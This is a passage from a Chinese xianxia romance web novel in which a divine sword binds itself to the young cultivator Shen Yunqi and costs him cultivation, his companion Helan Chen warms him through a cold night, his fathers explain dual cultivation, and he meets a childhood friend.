不过此三人因为叛离各门,早就是人人喊打的存在,他们也丝毫不觉得有何错处,在修真界各种杀人越宝,无恶不作。 百年前被剑尊沈君钦重伤后便销声匿迹,原来竟是蛰伏在暗处,闭关疗伤,等待宝物降世。 三个人瞬间抢作一团,巨大的灵力在神祇谷炸开,修为低的修士立即被殃及,炸的尸骨无存。 伯疏流立即道:“青云宗弟子,听我号令,立即撤退。” “是,尊上。”俞观南等人立即抱拳应是。 那三位邪修你争我抢,打的不可开交。 最先落下阵来的,竟是叛修罗,他直接摔在沈云戚的脚边,咬牙切齿道:“可恶,那剑竟然伤我。” 他是被那先天至宝伤到的,而不是被其他两位修士打伤,胳膊上的剑伤还有剑意,一时半会竟然无法愈合。 “万无妖僧,你又不是剑修,来抢什么宝剑?”化魔尊者说话间去抢那剑。 那剑似真的有思想一样,直接割伤了他的手背。 万无妖僧赶紧退去一旁,回头看着四下逃窜的修士们,歪嘴笑道:“可有剑修,借小僧一用?” 叛修罗福至心灵,悟到了什么,一回头便看到尚未跑远的沈云戚。 他很快抓住沈云戚,道:“你是剑修吧?去拿下天命。” “……”沈云戚没成想自己会遇上这样的大能。 “戚宝!”贺兰忱见他被抓,也不走了,赶紧道,“大佬,我才是剑修。” 叛修罗嗤笑道:“你们都得去,别跟我耍花头。” 贺兰忱赶紧道,“那不是有两把剑吗?哪一把才是天命?若是我拿了天命,可天命认我为主,那你怎么办?不是我不想帮你,实在是怕抢了你威风啊,大佬!!!!” 叛修罗才不管他说什么,直接将两人提到半空中。 人群中不知道谁喊了一句:“那不是剑尊的弟子吗?他们肯定能拿下神剑的。” 这不喊还好,一喊三个人便朝着沈云戚和贺兰忱看来。 “剑尊弟子?” 万无妖僧忽然也不躲闪了,迎上去握住青色那柄剑,滔天的怒意尽在严重,嘴中念道:“执天命,灭苍生,今日便要以剑尊弟子之血,灭我心中之火。” “什么执天命灭苍生,天命应该救苍生才对!”沈云戚道,“这种先天至宝,就不该落在你们手中。” “那该在谁手中?”虚空中不知是谁在说话,声音不辨雌雄没有喜怒。 沈云戚道:“自然是我。” “好。”虚空之中不知是谁开口了,“小儿很有志气,本尊倒要看看你有没有资格拿起我。” 天命直接挣开万无妖僧的手,斩断叛修罗的手,冲着沈云戚而去,直接落在他的手间。 雷霆之力刺伤了他的皮肤,五脏六腑连带着骨头都疼了。 “抓紧我。” 天命出声命令沈云戚。 “啊啊啊啊!!”沈云戚大声喊着,疼痛已经超越了□□可以承受的范围了,雷霆的白光直接将他团团围住。 他变成了一团光球,天命在手间。 器灵发出一阵嘲笑:“区区金丹修士,竟敢大言不惭,咦……你竟然是……好,让本尊来帮你一下。” 天命在认主。 沈云戚感受到了自己的修为正在消失,朝着一个不知道何处的地方流去,等到了反应过来的时候,他的修为竟然掉了一个大境界,从元婴初期的修为变为金丹初期。 修为大跌,身怀异宝,必然会成为三个邪魔的掌中之物。 三位大能知晓他已驯服天命,眼中露出贪婪之色。 神器认主后,只有杀掉主人,抹除他在上面的契约,便可重新结契,并且神器不会再如刚现世那般桀骜。 “何处宵小,敢伤我儿?”沈不忘早已感知到了神祇谷的突变,与渡妄伺机而动。 在天命认主沈云戚后,立即现身。 三位邪魔对上沈君钦冷锐的眸子,立即被他的样子吓得惊魂不定,不问仙破空而来,万道剑意倾泻而下,几人避闪不及,受了伤,边挡边退,很快便化作三道流光消失不见了。 沈云戚在一旁脸色惨白,惊魂不定的,他用力抓住贺兰忱的手。 “怎么了?”贺兰忱关心道。 沈云戚看向沈不忘来的方向,索性他爹还没有来到此处,他此时力量像是被抽干了一般,只觉得马上就要变成小龙了,这自然是不可以的。 沈云戚脸上都是汗,虚弱的张口道:“带我离开这,别让我爹看到我。” “好。”贺兰忱也不问其他,立即抱着他离开神祇谷,一路向北方的树林瀑布而去。 那柄与天命同出的红色的长剑站在原地愣了好一会,似乎在思考为什么没有人抢自己,最后跟着贺兰忱而去。 远远地,沈不忘收回了命剑,疑惑的看着两小崽子离自己越来越远,问道:“他们去哪里?” “可能去双修了吧。”渡妄理所当然的说道。 沈不忘拧眉,道:“什么?” 渡妄语调里满是不爽道:“你看着我,别一天到晚看着那小崽子。” 沈不忘听到此话,真的转头看着他,渡妄便凑上来要亲亲他,沈不忘抬手抵住了他的嘴,道:“他们不得其法,我们去给他们护法。” “沈上仙,孩子双修,你护法,象话吗?”渡妄露出惊疑的神色。 沈不忘露出疑惑的神色,认真发问道:“不行吗?” “当然不行。”渡妄拧着眉头,道,“他们双修去了,我们正好得空,也双修。” 沈不忘垂眸沉思,渡妄凑过来亲了一下他的脸颊,刚刚正亲亲热热的,没想到那两小东西太没用了,拿个命剑都不行,惹得两人还没做什么,便出来救人了。 沈不忘忽然开口道:“他们第一次双修,必然时日不长,我们准备一下教他们如何双修才对。” 渡妄:…… 沈不忘推开渡妄,朝着两人离去的方向飞去,虽不能近处护法,但还是让渡妄替两人布置了结界,防止有人打搅他们,随后便坐在巨石上准备双修的功法。 他们至少要在树林里待上个十天半个月吧,无聊透顶。 第 67 章 这事就如两条龙结为夫夫…… 丛林深处, 沈云戚感受到自己的修为不断的流走,倒不是消散了,而是流向一个不知道的深渊。 “冷, 好冷。”沈云戚紧紧的拽着贺兰忱的衣服, 浑身颤抖。 贺兰忱赶紧生了一堆火, 将他紧紧搂在怀里,道:“别怕, 我在你身边。” “我好冷,抱紧我。”沈云戚搂住他的腰, 苍白的脸贴在他脖子上,肌肤相贴,温度十分适合。 可就算这样,他还是冷的直打颤。 贺兰忱僵直了身体,不敢动弹, 因为这样的姿势太过亲密了, 他试探了一下沈云戚的额头,确实冷的像是冰一样。 “怎么会这样?要不回去找你爹吧?”贺兰忱也不知如何是好。 纵然他穿书手握剧本,知道的也只是故事的方向,如此细节的修炼法门,遇到的奇怪事情, 也是无法解决。 此时那柄红色的剑来到他面前,器灵开口道:“他的修为已经从金丹跌到了筑基了,自然会觉得冷。” 贺兰忱怒道:“怎么回事?是不是那柄剑干的?” “当然是天命干的。”轮回绕着贺兰忱转了一圈。 贺兰忱脸色阴郁,轮回又说:“他是龙吧?他需要修炼两颗内丹,过去这些年一直在修炼人身的修为,龙身积弱,长此以往会反噬, 天命正在帮他。” 贺兰忱愣了一下,问道:“意思是他的修为没有消失,只是平均到了龙身的内丹上。” “对,没错。”轮回点点头。 贺兰忱还是愁眉不展,道:“那他境界跌了,岂不是在外很容易被欺负。” “那你就不懂了吧,他只是境界低,双重内丹的修为可是超强的,他从元婴跌到金丹,表面上是金丹修士,实则可以跨两个境界,单挑出窍期后期的修士。”轮回道。 贺兰忱心头一惊,竟然还有这等事,那岂不是很厉害?比我还厉害了? 别人都以为他只是筑基修为,实则实力已是元婴期。 那出去装逼岂不是和装一波大的?不过现在只能装小的,若是修为再高一些就好了。 沈云戚冷的瑟瑟发抖,无论如何都暖不起来。 “他现在很冷,我该怎么办?”贺兰忱将人紧紧搂在怀里,他却依旧被冷的发抖。 轮回无所谓的说道:“这是必经的,过一日便好了。” 贺兰忱垂首看虚弱的沈云戚,他脸色惨白,眉毛上似乎都因为寒冷而凝结了冰晶,他真的快被冻死了。 “有什么法子可以缓解一下他的痛苦吗?”贺兰忱眉头不曾舒展开。 轮回飞到树上,“唰唰唰”砍了一堆木柴下来,让面前的火堆烧的更旺。 这样的火,对沈云戚来说根本不顶用。 贺兰忱沉默了片刻,道:“我们已经成为道侣了,这样应该没事的。” 说着,他解开了沈云戚的衣服,不一会儿便将他脱了个干净,随后又将自己的衣服扒了,之后便将人搂在怀里。 两个人肌肤相贴,一冷一热,交换着体温,紧紧的拥抱在一起,脖颈交迭,他的手臂环着他的腰,让他坐在自己的腿上。 他的腰好细。贺兰忱想着。 沈云戚似乎感受到了温暖,将他贴的更紧了。 此时沈云戚的元神在一片雪原里走着,他看不到任何东西,怀里抱着被冻僵了的小金龙,他知道这是他的另一个元神。 小金龙奄奄一息了,看上去快死了。 虚空之中器灵让他把修为度一半给小龙,沈云戚不知道如何做,器灵便帮他做了。 他与暴雪中倒下,变成了一个冰雕。 除了冷,他再也感受不到任何东西了。 忽然,无尽的严寒中一个火源靠近他,他被火焰团团围住,拥抱住,虽然隔着冰面,可是他知道外面有个人,想要将自己救出去。 好温暖的人,到底是谁了? 是贺兰忱吧?肯定是他。 这个名字让他心安。 太阳落下又升起,林中的火堆依旧烧着,轮回不断地替两个人家柴禾,倒显得贴心。 拥抱着的两个人从一开始坐着抱在一起,后面成了躺在一起,手脚交缠,肌肤紧贴,贺兰忱睡着之前还从储物戒中拿出了随行床单被褥,看上去倒是来野营的一般。 贺兰忱没睡着,时不时会轻抚他背上的皮肤,确认他是否有好转。 黑暗被天光驱散,贺兰忱盯着怀里的人看了很久,昨夜冻得惨白青紫色的嘴唇,此时已经恢复了红润,看上去十分动人,让人忍不住想要凑上去轻轻触碰。 鬼使神差的,贺兰忱凑近他的脸,即将碰到他嘴唇的时候,沈云戚睁开眼,入目的便是贺兰忱那张放大的脸,顿时吓得往后退去,可是等反应过来,却发现自己被他紧紧搂在怀里。 “你干什么呀?”沈云戚声音都变了调。 贺兰忱神色微变,立即又恢复了随意的模样,道:“我看看你还有呼吸不。” “什么呼吸是要用看的?你能看得明白吗?”沈云戚炸毛道,刚刚他凑自己那么近,该不会是想亲他吧? 贺兰忱淡笑不语,看着他耳朵都红的滴血了,耳垂上的小红痣颜色越发艳丽。 随即,沈云戚发现了更不对劲的事情,他的衣服去哪里了?为什么贺兰忱也没有穿衣服?他们两个幕天席地赤身脱离的抱在一起? 沈云戚发现不止贺兰忱的手搂着自己的腰,他的手也紧紧搂着贺兰忱。 他的脑袋开始宕机,一片空白。 他全然记不得昨晚发生了什么事,他只知道自己好冷好冷。 沈云戚呆呆的片刻后,悄悄将自己的手松开,不动声色的将手拿到一边,贺兰忱意识到他的小动作,不禁挑眉。 沈云戚怒道:“你……你搂着我干什么?我的衣服了?你昨晚对我做了什么?” “恶人先告状啊?”贺兰忱不疾不徐,也松开了沈云戚。 他坐起身来,被褥从身上滑落到腰间,露出性感的腰线,若是被子再往下一些,或许能看到更了不得的东西。 沈云戚赶紧将被子往自己身上拉,辩驳道:“我……我都不省人事了?我能拿你怎么样?” “哼。”贺兰忱冷哼一声,站起身来。 沈云戚立即捂住眼睛,从指缝里看到他起来,发现并不是□□的,还穿着亵裤,看来昨夜也并未如何,只是他太冷了,所以他替他取暖。 贺兰忱捡起衣服丢给他,便看到沈云戚在指缝里偷看自己。 他也不在意,自顾自的穿好衣服。 沈云戚也默默穿衣,时不时看他一眼。 换做平时,贺兰忱多半会说几句骚话来调戏一下戚宝,现在倒是沉默不言,让人心里发怵,而且这事确实是他反应过激了,其实贺兰忱也并未对他做什么,反而是在救他。 沈云戚见他沉默不言,看上去像是生气的模样,小声问了句:“你生气了吗?” “你觉得了?”贺兰忱淡淡的瞥了他一眼。 沈云戚被他这冷飕飕的一眼看的愣了一下,问道:“是我错怪你了。” “是吗?”贺兰忱依旧不茍言笑的样子。 贺兰忱生着一张十分俊美的脸,眉眼深邃,轮廓线条极为优越,笑起来的时候显得有些坏坏的,不笑的时候看上去冷酷非常。 沈云戚听他这么说,立即道:“对不起,我向你道歉。” “行吧。”贺兰忱依旧傲傲的应道。 沈云戚瞥了他一眼,心口闷了一下,便不纠结此事了,道:“我们回去找我爹吧。” 贺兰忱看他转身就走,不禁垂下眼眸,心中有些懊恼。 两个人一路无话,轮回也跟着他们,器灵不说话了,追着两人看看这个看看那个。 沈云戚见这与天命一道出来的神兵利器,便道:“你要不把这柄剑契约了吧,现在若是回神祇谷,恐怕找不到什么神兵了。” 贺兰忱道了句好,便打算契约那红色的轮回剑。 轮回虽不如天命那般桀骜,却也不是个好对付的,它才不要被贺兰忱契约了。 “我的主人必定是这世界上最强的剑修,我要当剑尊的狗,才不要你这个小屁孩,略略略。”轮回化作一道流光便跑了。 贺兰忱赶紧去追,轮回在树林里穿梭,剑气扫断了正片树林,周遭空荡起来。 沈云戚见状觉得好笑,正要追上去,却忽然发现自己丹田里的内丹,仅是筑基期的修为,他顿时面如土色。 “这是怎么回事?为什么我修为跌了一个大境界?”沈云戚嗷嗷难受,从筑基修到金丹,可是花了他八年时间。 这一倒退,他跟贺兰忱瞬间差了五个小境界,四舍五入就是两个大境界啊!! 这不得被渡妄嘲笑死了吗?他素来就是那副欺负小孩的狗德行。 他暗自伤神,没有人可以给他回答。 等到他回过神来时,贺兰忱已经带着轮回回来了,身后还跟着沈不忘与渡妄。 沈不忘看他这般失落的样子,询问:“发生什么了?” 沈云戚抬眸看他爹一眼,又看了一眼渡妄,顿时更伤心了。 他爹,修真界第一战力,万人推崇的剑尊。 另一个爹,表面是魔尊,实则是魔神,战力不可估量。 而他,废物一个,只有筑基修为。 这事就如两条龙结为夫夫,最后生了一条蛆一样离谱。 沈云戚他觉得自己就是那条蛆。 第 68 章 老父亲操碎了心 “爹~”沈云戚悲伤的抱住他爹, 脑袋埋在他怀里不愿意起来。 “主人~”轮回也想往沈不忘身上凑,却被贺兰忱拽得死死的。 这便是为什么沈不忘不能陪两个小家伙一起去神祇谷的原因,若是他去, 所有的武器都会为了抢他当主人打起来。 自然, 天命也会, 此时的天命在沈云戚的元神中发出嗡嗡的响声,十分懊悔, 悔得肠子都青了。 本宝宝也想让剑尊当我主人。 沈不忘爱抚的摸着他的脑袋,询问:“乖崽, 怎么了?” 渡妄的此时却将目光投向贺兰忱,那眼神简直恨铁不成钢,原本还以为要在这里待上十天半个月,没成想,两小崽子初次双修, 一夜就完事了。 贺兰忱对上渡妄怪异打量的眼神, 眉心抽动了一下,好似被他鄙视了,却又不知自己做错了什么。 沈云戚也不说自己怎么了,委委屈屈哼哼唧唧的。 贺兰忱一脸茫然的挠头,解释道:“他刚刚还好好的, 我可没欺负他。” “不是贺兰忱欺负我,只是我……修为跌了,好伤心。”沈云戚从爹怀里出来,垂着脑袋无力的说道。 沈不忘当即查看了一下他的修为,发现他确实跌了一个大境界。 沉默了片刻,沈不忘温声道:“没事,爹爹我一点修为都没有, 剑术也很强的,只要你练到跟爹一样的地步就行了。” 这话沈不忘自己是不会这么说的,是渡妄总说他天道之下无敌。 现在为了安慰小孩儿,说说也无妨。 沈云戚听到这话,小脸顿时露出更加为难的神色,道:“这样似乎更难了。” 渡妄傲慢的看着沈云戚,眼神宛如看一个小渣渣。 本来就菜,现在更菜了。 “我觉得你们就是需要历练,否则修为都是虚的。”渡妄如是说道。 沈云戚捏紧了拳头,道:“对,我要去历练!” 渡妄嘻嘻一笑,终于能把你们两个小子赶走了。 几个人离开此处,躲在暗处的一双眼睛听着几人的对话,默默朝着别处飞去。 “原来如此,我就说此人的剑意比那人差得远了,不过只有三分相像。”化魔老祖看道留影的内容,推断那人并不是沈君钦。 “他不过是个没有修为的凡夫俗子,我早就说在他身上感受不到任何灵力波动,你们几个抱头乱窜的样子简直可笑。”叛修罗骂骂咧咧,“他的剑招打在我身上一点都不疼。” 万无妖僧掩藏着胳膊上被剑意撕破的皮肤,强大的剑意灼烧着皮肤,疼痛的感觉如跗骨之蛆,根本无法忽视。 他面上还是挂着笑,道:“既然如此,你们不如去一探究竟。” 化魔老祖&叛修罗:…… 突然沉默,就很尴尬。 “虽说他不是沈君钦,却也很厉害,我们还是需要从长计议。” “从长计议从长计议。” 他们谁都不想当出头鸟,就算不是沈君钦本人,那浩然袭来的剑意也十分可怕。(从长计议就是看看沈不忘到底是不是剑尊,然后派别人去拜见他,戚宝让爹装剑尊,对方信了,但是回头的时候却被人杀了,只有俞观南逃走了) 中途虽有波折,他还是得到了很不错的命器,总的来说,这个生辰礼物是他自己拿到的。 算不得礼物。 于是几人又去到天决城,打算在此处的蓬莱海阁淘一些奇珍异宝,为沈云戚巩固修为,提升境界。 贺兰忱也想着要给戚宝送个礼物什么的,虽说结为道侣这事看上去略有些草率,戚宝也未将此事当真。 一路上沈云戚都沉浸在自己修为跌了一个大境界的懊恼中。 在客栈里办入住的时候,客栈只剩两间房了。 等到回过神来时,沈云戚才发现自己竟然要跟贺兰忱共住一屋同床共枕了? 也不能真的住到荒郊野外去,他们四人,便大的一对住一间,小的一对住一间。 贺兰忱悄悄看沈云戚的神色,见他并无异样,他并未觉得两个人成为道侣后,关系有什么不同,或许他本质上以为此事不过是权宜之计。 正如沈云戚前几日信誓旦旦的承诺般,他不喜欢他的,只要贺兰忱遇上喜欢的人,便可以成全贺兰忱,如此洒脱。 沈云戚自然不觉得两个人住一间有什么不对的地方,两个人从小一起长大,经常睡一个屋子,一起泡澡泡灵泉都是常有的事,不过雪域之中,他帮自己取暖的事情,到底在心里留下了异样的涟漪,他强装不在乎而已。 当时情况紧急,贺兰忱也没有更好的办法。 两个人进了房间,正要坐下喝杯茶,沈不忘便传话叫沈云戚去他房间一下。 沈云戚不疑有他,直接离开了。 贺兰忱正好奇什么事,要不要也跟去看看,他便收到了渡妄的传唤,说等会来他屋子里,有事交代,这事让他不由的想,总不能他要跟师父住一屋吧。 两个房间的距离隔得挺远的,沈云戚到达沈不忘的房间时,渡妄早就离开了。 沈不忘坐在房间的桌前喝茶,桌上放着两本书,沈云戚瞟了一眼,上面写的竟然是《双修功法》。 沈云戚:…… 他爹该不会要教他怎么双修吧?这不好吧。 “爹,你找我。”沈云戚乖乖过去打招呼。 沈不忘示意他坐下,沈云戚乖巧的坐在他面前的位置,盯着他看着,神色有些许紧张。 沈不忘淡淡的看着他,见他这般,不由露出笑来,问道:“这么紧张做什么?” “唔……爹,你找我来做什么?我……我也不知道为什么我的修为就跌了两个小境界……”沈云戚为难的说道。 沈不忘手搭在桌上的书册上,道:“跌了小境界并无大碍,修习一段时日便又回来了。” “那就好。”沈云戚点点头,目光又瞟了一眼那个书册。 沈不忘也不说废话了,直入主题道:“你已经跟阿忱结为道侣,他修为和天赋在你之上,可以带你突破,此次叫你来,便是教你双修功法。” “啊?我还没有准备好了,而且我并不想跟贺兰忱……双修啊。”沈云戚小脸顿时红了起来,说到后面声音几不可闻。 沈不忘露出不赞同的神色,道:“不过是修行罢了,有什么好拘谨的,而且你肯定需要双修的。” 沈云戚憋红着一张脸,道:“等需要了再说。” 贺兰忱是男的,他也是男的,他们两个都不是同性恋,还双修,想想都不对劲。 贺兰忱心中还有喜欢的人。 不过话又说回来,如果只是为了提升修为,那他们应该也不算那什么,只能算是修炼搭子吧。 “你会需要的,功法先学起来。”沈不忘将书交到沈云戚的手中。 沈云戚翻开看了一眼,开屏就是暴击,一张很火辣的配图映入眼帘。 平心而论,这种功法里的图并没有春宫画册里面的好,比起21世纪互联网时代的图,这画面则是更入不了眼。 沈云戚还是眼睛都不知道往哪里摆,因为在他爹面前看这个,确实很害羞,家长逼我看黄图,我该看还是不看? “好的,我回去有时间就看。”沈云戚立即抱著书准备起身。 沈不忘拉住他,道:“爹还没有跟你说怎么修炼了。” “……” 沈云戚乖乖的坐下,小脸红扑扑的,提着一口气,听爹跟他说怎么双修。 与他预想的不太一样,双修确实是修炼。 修士从引气入体开始,就会有丹田识海,修为的灵气凝结成内胆,不断地突破,最终飞升。 平日里闭关打坐运气,都会选择灵气充裕之地,让灵气随着经脉游荡至身体的每一个角落,让新的灵气与丹田内的灵气充分融合。 用沈云戚自己的理解来说,就是让野生的灵气驯服成自己的灵气。 灵气运行小周天,会根据自身天赋,修为高低而不同,同等修为,天赋高的用时更短。 沈云戚和贺兰忱来比较的话,沈云戚运行一个小周天需要81天,贺兰忱只需要七七四十九天,所以贺兰忱是天赋更好,速度增长更快。 自然,沈云戚一人修行,修为还要分给龙身,自然比较慢。 只是他此时并不知晓此事。 沈不忘也想跟他说,但是稍微开个话头,沈云戚便支支吾吾的转移话题,不愿提起。 再说到双修,便是与修为稍稍高于自己的人一道修行,最好身体有接触连接,原本灵气运行小周天只在自己体内,现在便成了在两个人的身体里游走。 所以双修的效果比自己修行更为显著,至少是1.5倍。 沈云戚一开始还有些害羞,还以为就是做那啥了,这样一听,还真的是修炼的法子,好像还不错的样子。 书册上的图画旁边确实有文字解释,更推荐什么姿势。 反正就挺让人误解的。 往后翻几页,直到翻完。 沈云戚麻木的想着,他觉得自己误解了双修功法,才是最大的误解,通篇看完后,得出了一个结论,双修就是□□的时候顺便修个行,而且时间还挺久的,阳wei人士不推荐。 沈云戚听了两个时辰的教育,脑子晕乎乎的走人了。 第 69 章 竹马竹马 渡妄和贺兰忱那边两人则是大眼瞪小眼, 早就结束了教学。 渡妄只有三句话。 【第一,管好你道侣,不许让小崽子缠着我道侣】。 【第二, 带着小崽子出去历练个十年八载, 不许回家】。 【第三, 你怎么这么菜,第一次双修这么快就结束了?是不是不行啊!】 好家伙, 算是破案了,贺兰忱终于明白为什么师尊早上看自己的眼神那般的鄙夷不屑了, 原来被误会了。 贺兰忱赶紧解释道:“不是的,师尊,你误会了。” “哦,原来你们没双修,啧。”他还啧他, 看他的眼神更加鄙夷了, 随后又拿出一瓶丹药,道,“若是有障碍,佐以丹药。” 贺兰忱:…… 他看了那丹药的名字,眉心抽了抽。 白天被误以为快, 现在又被误会不行。 渡妄不给他拒绝的机会,便起身离开,一边嘀咕道:“怎么还不回来?” 贺兰忱如坐针毡了好久,害怕沈云戚回来自己面前摆着壮阳药,赶紧收进空间里。 之后便坐在房间里等他,这一等便是两个时辰。 渡妄去了又回,十分恼火, 也不知道沈不忘怎么有这么多话要跟小崽子说,是不是自己给他的经验很好,所以要一一分享? 贺兰忱则是在想,二师父肯定就是不想跟师尊相处,所以才跟戚宝呆那么久。 这就是一个能量守恒,跟戚宝待一起的时间多=跟渡妄待一起的时间少。 “师尊,其实你是不是缠着二师父太紧了,好的感情是要保持适度的距离,这样才能历久弥新。”贺兰忱说道。 “行啊,那你跟小崽子保持距离,说不定他明日就给你带回来个新的。”渡妄皮笑肉不笑的嘲讽道。 贺兰忱闭嘴了,这师尊几百岁的人了,还这么幼稚。 渡妄第十次离开后不就,沈云戚便回来了。 此时天色已深,沈云戚走到房门口的时候,忽然又开始尴尬起来了。 双修功法教了,跟他练的对像是谁,应该不用多问,贺兰忱正在房间等着他。 原本脸上降下去的温度,此时又开始烧了起来。 沈云戚很快又想清楚了,又不是学了就得使用,谁说一定要跟贺兰忱双修的? 他收拾好心情,正要推门。 面前的房门便打开,贺兰忱站在里面,问道:“站门口半天干嘛了?等哥哥来接你?” “谁谁……说的,我只是确认一下我有没有走错房间。”沈云戚反驳道,然后快步走进了房间。 贺兰忱合上门,看着他疾步匆匆的背影,看上去有些不安的样子,不禁挑眉,问道:“你手上抱着的是什么?” 沈云戚心道完蛋,竟然没有将这书收起来,立即装进同心环中,道:“没什么。” “哦?我都看见了。”贺兰忱道。 修士的视力极好,一眼便看清上面的字。 沈云戚顿时恼了,道:“你都看到了,还假模假样的问什么?” “好奇,给我看看。”贺兰忱伸手。 “不给。”沈云戚才不要给他看了。 贺兰忱意味深长的看着他,似笑非笑的样子,也不知在打什么坏主意,沈云戚恼羞成怒道:“你这么好奇干什么?这是我爹给我的。” “你该不会怕我天赋异禀,超越你吧?”贺兰忱坐到他身边的。 沈云戚往旁边挪了挪,斜眼看他,就知道他狗嘴里吐不出象牙来。 贺兰忱又说:“行了,不看就不看,就算不看我也知道里面是什么。” “才不是。”沈云戚否认。 “我还没说是什么,你急着否认干嘛?”贺兰忱眉头挑的老高。 沈云戚哼了一声,道:“那你说说里面是什么。” “就是教你怎么……做……”爱,贺兰忱凑到他耳边说出最后两个字。 沈云戚立即气的站起来,炸毛,脸红,大怒:“我就说不是的,你看你脑子想的是什么东西!!” “不是吗?那你给我看看。”贺兰忱手一伸,又想到他之前被拒绝,便改口道,“那你看过了,你口述给我听,或者教教我好了。” 沈云戚打量着他这样子,心里哼笑一声,此时也冷静下来了,跟他一般见识干嘛? 贺兰忱,这人是贺兰忱啊,他一天不讲骚话就浑身难受。 跟他较真十分钟,就浪费一小时,剩下五十分钟在生气! 沈云戚思来想去,懒得理会他,道了句:“不和你说了,我要睡了。” “来吧,睡觉。”贺兰忱拍了拍床板。 沈云戚又说:“你睡地上,这床太小了。” “你也可以睡我身上。”贺兰忱顺口一句。 沈云戚没什么反应,贺兰忱便觉得没趣,收拾了一张被子,放到脚踏上,这个位置也很窄小,身高接近一米九的贺兰忱睡在此处显得有些委屈。 沈云戚又心生不忍,正想说什么,便听贺兰忱道:“早点休息吧。” “哦。”沈云戚点点头,脱衣服上床。 贺兰忱熄了灯。 房间里归于平静,黑暗中可以听见彼此浅浅的呼吸。 沈云戚在床上翻了个身,发现身后还有很大的空间,他低声询问:“地上会不会太硬了?” “不硬,睡得正好。”贺兰忱应道。 沈云戚沉默了片刻,贺兰忱轻笑着:“你别想太多。” “哦。”沈云戚心里暖暖的,舒服了一些。 两个人不再说话,可是他们都知道对方没有睡着。 沈云戚道:“那个,你想看,明天给你。” 贺兰忱反应了一下,道:“没想看,只是看你心不在焉,逗你玩儿。” “……” 沈云戚沉默了片刻,声音低低的:“贺兰忱,你这个人……其实还挺会照顾人的。”有时候虽然嘴欠,可一直都很照顾我的情绪。 贺兰忱没有应声,他在黑暗中睁开眼,看着床上鼓鼓的被子。 沈云戚以为他睡着了,便也合上眼睛。 “会照顾人有什么用,我喜欢的人又不喜欢我。” 沈云戚呼吸一窒,不应答,怔怔的看着黑暗中的床帏,心中宛如有一颗石头压着。 次日一早,贺兰忱便要去蓬莱海阁买东西,沈云戚对那些宝物不是很感兴趣,加之前些日子拿天命的时候闹出这么大动静,他不想在修真人士面前露面。 沈云戚现在修为跌了,变菜了,所以要开始茍了,怕强者一个看自己不顺眼,就拉上了仇恨。 他已经拉了不少无极宗的仇恨,好像还有青云宗的人也看他不爽。 其中就有小时候的老仇人袁不焕。 这个人还是贺兰忱提醒他才记起的,以前在京城还有老仇人。 戚宝记得当年袁不焕至少有十几岁了,若是宗门十年选一次弟子,他其实经历了两次选拔,都没有被选上。 现在他倒是成了青云宗的弟子,看上去混得还可以,现在修真界真是什么人都要了。 沈云戚在在拍卖行对面的酒楼二楼,选了个正对着拍卖行大门的位置坐下,贺兰忱进门前回头看了一眼他,冲他挥了挥手。 沈云戚正要回应他,身后恰好传来一声陌生的男音,低沉带着几分不确定的询问:“小戚?云戚!” 沈云戚回头看过去,来的竟是那日在神祇谷里救过的少女和她的“哥哥”,那哥哥现在身量稍微变低了一些,但也是两米出头,身上全是腱子肉,浑身如同僵尸一般的青紫色也褪去,恢复了古铜色的肌肤,穿上了正常的合身的衣裳,不过眼睛上倒是还绑着一道麻布。 方才叫沈云戚名字的人便是这“哥哥”,毕竟彩蝶的声音他听过,是个十分俏丽的少女。 “……”沈云戚假装不知道他们在叫自己,回过头朝着拍卖行门口看去,贺兰忱已经不见了踪影。 两个人已经走到了沈云戚的桌前,高大的男人扯了扯嘴角,问道:“是沈云戚吗?” “你是?”沈云戚狐疑的看他。 “这么多年不见,你不记得我很正常,我是胡淳志。”胡淳志说道。 沈云戚听到这个陌生的名字,还是一脸茫然,在脑海里搜索着自己小时候是否认识一个叫胡淳志的少年。 搜索完毕,并没有此人。 沈云戚礼貌开口,道:“你好,请问我们认识吗?” 胡淳志显然有些受伤,抿了一下唇角,彩蝶正要开口,他拦了一下,解释道:“邺城荷花村,二牛。” “二牛!原来你是二牛啊。”沈云戚自然是记得二牛的,顿时眼睛亮亮的,站起身来招呼两个人坐下,问道,“原来你有名字啊,我还以为你叫胡二牛了。” 胡淳志听到这话不由愣了一下,彩蝶不悦道:“你这人说话怎地这么难听?哥哥当然有名字了。” 沈云戚也觉得自己这么说有些情商过低了,不好意思的挠挠头,道:“我……确实记不得了。” 胡淳志笑了笑,道:“没事。” 沈云戚这才意识到二牛竟然也成为了修士,不过身体却变得很奇怪,前些天在神祇谷的时候,看上去好像变成了僵尸一般,还有着眼睛是……怎么回事? 他正斟酌着如何开口询问,肯定要避免低情商发言,这些年跟贺兰忱相处的太自在了,两个人都是有什么就说什么,从来不需要在乎这些的。 胡淳志倒是先开口询问起戚宝的境况:“当年你说你要去修仙,我还以为是玩笑话,现在你竟然已经这么厉害了,之前在神祇谷没有认出你,你别见怪。” “没事没事,毕竟这么多年没见了,我也没有认出你来,对了,你这些年过得怎么样,村子还好吗?”沈云戚问道。 胡淳志听到这话,停顿了一下,应道:“很好。” 沈云戚默默的喝了一口水,轻声问道:“你的眼睛……” “嗷,没事,不是瞎了,只是被人割了眼皮,太过可怕,不便露出来。”胡淳志轻松的说道。 这样还是很好嘛? 沈云戚不敢吱声了,其实他可以想象得到,二牛应该过得不太好,这种将活人练成尸体的修习方式,一看就不是什么名门正派的行当,而且二牛应该是没有灵根的,现在竟然走进此道,只怕遇到了很多不好的事情。 “沈叔叔还好吗?”胡淳志问道。 沈云戚道:“很好啊,我爹刚刚还跟我在一起。” “真好,沈叔叔还是这么爱你。”胡淳志有些羡慕的说道,随后露出缅怀的笑意,道,“我小时候还一直缠着你,想要你爹收养我了,你们当时还总是给我送吃的,现在想想,已经过去了这么久了。” 沈云戚提到儿时的事情也轻松了不少,笑道:“是啊,当时我们还经常一起玩了,你还让我骑着牛。” “你当时还嫌弃牛脏,跟个小少爷似的。”胡淳志道。 沈云戚挠挠脑袋,笑了笑,道:“主要还是我当时太小了,怕高,你那牛被你养的那么大那么壮,我好怕掉下来。” 胡淳志也跟着一起笑了起来,彩蝶问道:“原来你们真的是从小一起长大的,我还以为哥哥在骗我了。” 沈云戚点点头,道:“我们从小就认识。” “对了,那日跟你一起的男子,去哪里了?”彩蝶东张西望。 沈云戚正要回答,贺兰忱便已经上楼来了,低沉有磁性的声音响起,问道:“师兄,他们是你朋友吗?” 沈云戚耳朵动了动,用惊疑的目光看向贺兰忱,你小子,说话的声音干嘛这么骚?气泡音都起来了,平时可不是这样的。 